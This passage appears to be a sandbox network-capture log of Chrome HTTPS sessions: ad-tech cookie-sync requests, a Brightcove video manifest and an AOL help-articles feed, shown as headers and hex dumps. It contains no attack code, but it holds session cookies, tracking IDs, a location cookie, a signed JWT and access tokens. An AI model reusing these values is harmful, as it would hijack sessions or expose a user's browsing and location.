35 87 e8 a6 d9 3a c1 06 6b 2f c8 32 97 dd dc 91 e7 17 8f 8c e4 ba e7 0b b6 5f b5 38 9a 81 49 5d Data Ascii: qn+X,r?.%WUUN_K_!CvXZCTZM2,2uqt"~5Q$Il&qasgrwPQVx6v_o%$C@H[.QZeR\|4})u^-<kT8,q.CdVk'5:k/2_8I]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.6	50512	3.160.150.30	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	688	OUT	GET /profiles_user/ProfilesuserServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LWJTZABN-X-K4PW HTTP/1.1 Host: sync.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	1032	IN	HTTP/1.1 302 Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:16 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:16 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Location: https://sync1.intentiq.com/profiles_user/ProfilesuserServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LWJTZABN-X-K4PW&ckls=true&ci=tmRPs43eIy&nc=false&trid=-1776678238 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Patent: https://www.almondnet.com/ip Set-Cookie: intentIQ=tmRPs43eIy; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:16 GMT; Path=/; Secure; SameSite=None X-Cache: Miss from cloudfront Via: 1.1 69114e4ea0aa4e532a5be63a75c51e2c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P7 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: w66w9sSBr1pnYPFSaLN49w121v7_9wK1RBzkoR7FwatOYM1Ygg3Fxg==
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.6	50509	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	685	OUT	GET /merge?pid=80&3pid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN&dnr=1 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=ItNLAQZHfit0Ml6gQsWPeZ0W
2024-05-23 22:35:16 UTC	637	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close Vary: Accept-Encoding Set-Cookie: _ljtrtb_80=LWJTZABN-X-K4PW; Path=/; Domain=.lijit.com; Expires=Fri, 23 May 2025 22:35:16 GMT; Max-Age=31536000;Secure;SameSite=None Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: ljt_reader=ItNLAQZHfit0Ml6gQsWPeZ0W; Path=/; Domain=.lijit.com; Expires=Fri, 23 May 2025 22:35:16 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-05-23 22:35:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.6	50518	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1103	OUT	GET /sync?gdpr=0&cmp_cs=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dtriplelift%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync=CgoIoQEQqLvfvPoxCgoI5gEQqLvfvPoxCgoIhwIQqLvfvPoxCgoItwIQqLvfvPoxCgkIOhCou9-8-jEKCQgbEKi737z6MQoKCIwCEKi737z6MQoKCKwCEKi737z6MQoKCK0CEKi737z6MQoJCF8QqLvfvPox; tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:16 UTC	1070	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1483 Connection: close P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:16 GMT; Secure; SameSite=None; Partitioned; Cache-Control: no-cache, no-store, must-revalidate set-cookie: sync=CgoIoQEQqLvfvPoxCgoIgQIQ98PgvPoxCgoI4gEQ98PgvPoxCgoI5gEQqLvfvPoxCgoIhwIQqLvfvPoxCgkISRD3w-C8-jEKCQgLEPfD4Lz6MQoKCIwCEKi737z6MQoKCKwCEKi737z6MQoKCK0CEKi737z6MQoKCJECEPfD4Lz6MQoKCJICEPfD4Lz6MQoKCLQCEPfD4Lz6MQoKCJQCEPfD4Lz6MQoKCLcCEKi737z6MQoJCDoQqLvfvPoxCgkIGxCou9-8-jEKCgjeARD3w-C8-jEKCQhfEKi737z6MQoJCB8Q98PgvPox; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:16 GMT; Path=/sync; Domain=.3lift.com; Secure; SameSite=None set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:16 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:16 UTC	1483	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 69 64 3d 33 30 38 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 69 73 2e 63 72 69 74 65 6f 2e 63 6f 6d 2f 64 69 73 2f 75 73 65 72 73 79 6e 63 2e 61 73 70 78 3f 72 3d 34 34 26 70 3d 37 35 26 63 70 3d 74 72 69 70 6c 65 6c 69 66 74 26 63 75 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 67 70 70 3d 24 7b 47 50 50 5f 53 54 52 49 4e 47 5f 32 38 7d 26 67 70 70 5f 73 69 64 3d 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 25 32 46 78 75 69 64 25 33 46 6d 69 64 25 33 44 32 37 31 31 25 32 36 78 75 69 64 25 33 44 25 34 30 25 34 30 43 52 49 54 45 Data Ascii: <!DOCTYPE html><html><body><img id=308 src="https://dis.criteo.com/dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28}&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.6	50525	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1164	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4360-9b8b-708d3dc180a0/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfNjIwZjA0NmJlMDJjYWFkNThmZDFjN2YyZmMzNDE5MzZlNjQzM2EwZDM2M2U0NjI5OTg5Y2E2MDNlYmFkNDk5ZQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:16 UTC	627	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Date: Thu, 23 May 2024 22:35:16 GMT Via: 1.1 varnish Age: 11 X-Served-By: cache-ewr18165-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716503716.360543,VS0,VE2 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:16 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:16 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 59 32 52 66 4d 47 51 35 5a 6d 5a 6b 5a 54 4d 78 5a 6d 52 68 4f 44 4a 6d 4e 6a 51 79 4d 57 5a 6c 4e 57 52 6d 4e 57 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjY2RfMGQ5ZmZkZTMxZmRhODJmNjQyMWZlNWRmNW
2024-05-23 22:35:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:16 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:16 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:16 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:16 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:16 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 32 36 36 33 65 64 66 39 2d 66 61 66 65 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4
2024-05-23 22:35:16 UTC	1371	IN	Data Raw: 31 65 2f 32 36 36 33 65 64 66 39 2d 66 61 66 65 2d 34 33 36 30 2d 39 62 38 62 2d 37 30 38 64 33 64 63 31 38 30 61 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 34 33 66 63 64 37 37 30 35 36 66 32 32 30 62 66 38 66 30 35 35 33 37 62 65 64 34 38 36 66 38 38 66 38 34 64 62 64 63 64 30 32 36 35 36 64 37 63 36 37 65 65 64 34 30 64 34 66 33 30 61 39 39 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/2663edf9-fafe-4360-9b8b-708d3dc180a0/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a43fcd77056f220bf8f05537bed486f88f84dbdcd02656d7c67eed40d4f30a99#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:16 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 32 36 36 33 65 64 66 39 2d 66 61 66 65 2d 34 33 36 30 2d 39 62 38 62 2d 37 30 38 64 33 64 63 31 38 30 61 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 34 33 66 63 64 37 37 30 35 36 66 32 32 30 62 66 38 66 30 35 35 33 37 62 65 64 34 38 36 66 38 38 66 38 34 64 62 64 63 64 30 32 36 35 36 64 37 63 36 37 65 65 64 34 30 64 34 66 33 30 61 39 39 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/2663edf9-fafe-4360-9b8b-708d3dc180a0/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a43fcd77056f220bf8f05537bed486f88f84dbdcd02656d7c67eed40d4f30a99#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.6	50524	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1549	OUT	GET /api/articles HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:16 UTC	1038	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:16 GMT Content-Type: application/json;charset=utf-8 Server: ATS vary: origin,accept-encoding strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: max-age=300, must-revalidate Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:16 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 35 63 30 31 0d 0a 7b 22 66 65 61 74 75 72 65 64 5f 61 72 74 69 63 6c 65 73 22 3a 5b 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 46 65 62 20 32 31 2c 20 32 30 32 34 22 2c 22 63 72 65 61 74 65 64 5f 62 79 22 3a 22 30 30 35 31 4e 30 30 30 30 30 36 33 36 46 6c 51 41 49 22 2c 22 74 69 74 6c 65 22 3a 22 52 65 73 65 74 20 6f 72 20 63 68 61 6e 67 65 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 59 6f 75 72 20 70 61 73 73 77 6f 72 64 20 67 69 76 65 73 20 79 6f 75 20 61 63 63 65 73 73 20 74 6f 20 65 76 65 72 79 20 41 4f 4c 20 73 65 72 76 69 63 65 20 79 6f 75 20 75 73 65 2e 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 20 69 66 20 79 6f 75 20 66 6f 72 67 65 74 20 69 74 Data Ascii: 5c01{"featured_articles":[{"modified_date":"Feb 21, 2024","created_by":"0051N00000636FlQAI","title":"Reset or change your password","summary":"Your password gives you access to every AOL service you use. Learn how to reset your password if you forget it
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 20 61 20 64 65 73 6b 74 6f 70 20 6f 72 20 6d 6f 62 69 6c 65 20 77 65 62 20 62 72 6f 77 73 65 72 3a 3c 2f 70 3e 5c 6e 5c 6e 3c 6f 6c 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 61 6f 6c 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 73 65 63 75 72 69 74 79 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 74 69 74 6c 65 3d 5c 22 55 73 65 20 74 68 65 20 73 69 67 6e 20 69 6e 20 70 61 67 65 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 5c 22 3e 53 69 67 6e 20 69 6e 20 74 6f 20 74 68 65 20 41 4f 4c 20 41 63 63 6f 75 6e 74 20 73 65 63 75 72 69 74 79 20 70 61 67 65 3c 2f 61 3e 2e 3c 2f 6c 69 3e 3c 6c 69 3e 43 6c 69 63 6b 20 3c 62 3e 43 68 61 6e 67 65 20 70 61 73 73 77 6f 72 64 3c 2f 62 3e Data Ascii: a desktop or mobile web browser:</p>\n\n<ol><li><a href=\"https://login.aol.com/account/security\" target=\"_blank\" title=\"Use the sign in page to reset your password.\">Sign in to the AOL Account security page</a>.</li><li>Click <b>Change password</b>
2024-05-23 22:35:16 UTC	1300	IN	Data Raw: 5f 70 72 6f 64 75 63 74 73 22 3a 5b 5d 7d 2c 7b 22 6d 6f 64 69 66 69 65 64 5f 64 61 74 65 22 3a 22 46 65 62 20 32 31 2c 20 32 30 32 34 22 2c 22 63 72 65 61 74 65 64 5f 62 79 22 3a 22 30 30 35 31 4e 30 30 30 30 30 36 33 36 46 6c 51 41 49 22 2c 22 74 69 74 6c 65 22 3a 22 4f 76 65 72 76 69 65 77 20 6f 66 20 41 4f 4c 20 4d 61 69 6c 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 77 68 61 74 20 4e 65 77 20 41 4f 4c 20 4d 61 69 6c 20 68 61 73 20 74 6f 20 6f 66 66 65 72 20 61 6e 64 20 68 6f 77 20 79 6f 75 20 63 61 6e 20 6d 61 6b 65 20 69 74 20 79 6f 75 72 20 6f 77 6e 2e 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 22 3c 70 3e 41 4f 4c 20 4d 61 69 6c 20 69 73 20 61 6c 77 61 79 73 20 6c 6f 6f 6b 69 6e 67 20 74 6f 20 69 6d 70 72 6f 76 65 20 6f 6e Data Ascii: _products":[]},{"modified_date":"Feb 21, 2024","created_by":"0051N00000636FlQAI","title":"Overview of AOL Mail","summary":"Learn about what New AOL Mail has to offer and how you can make it your own.","content":"<p>AOL Mail is always looking to improve on
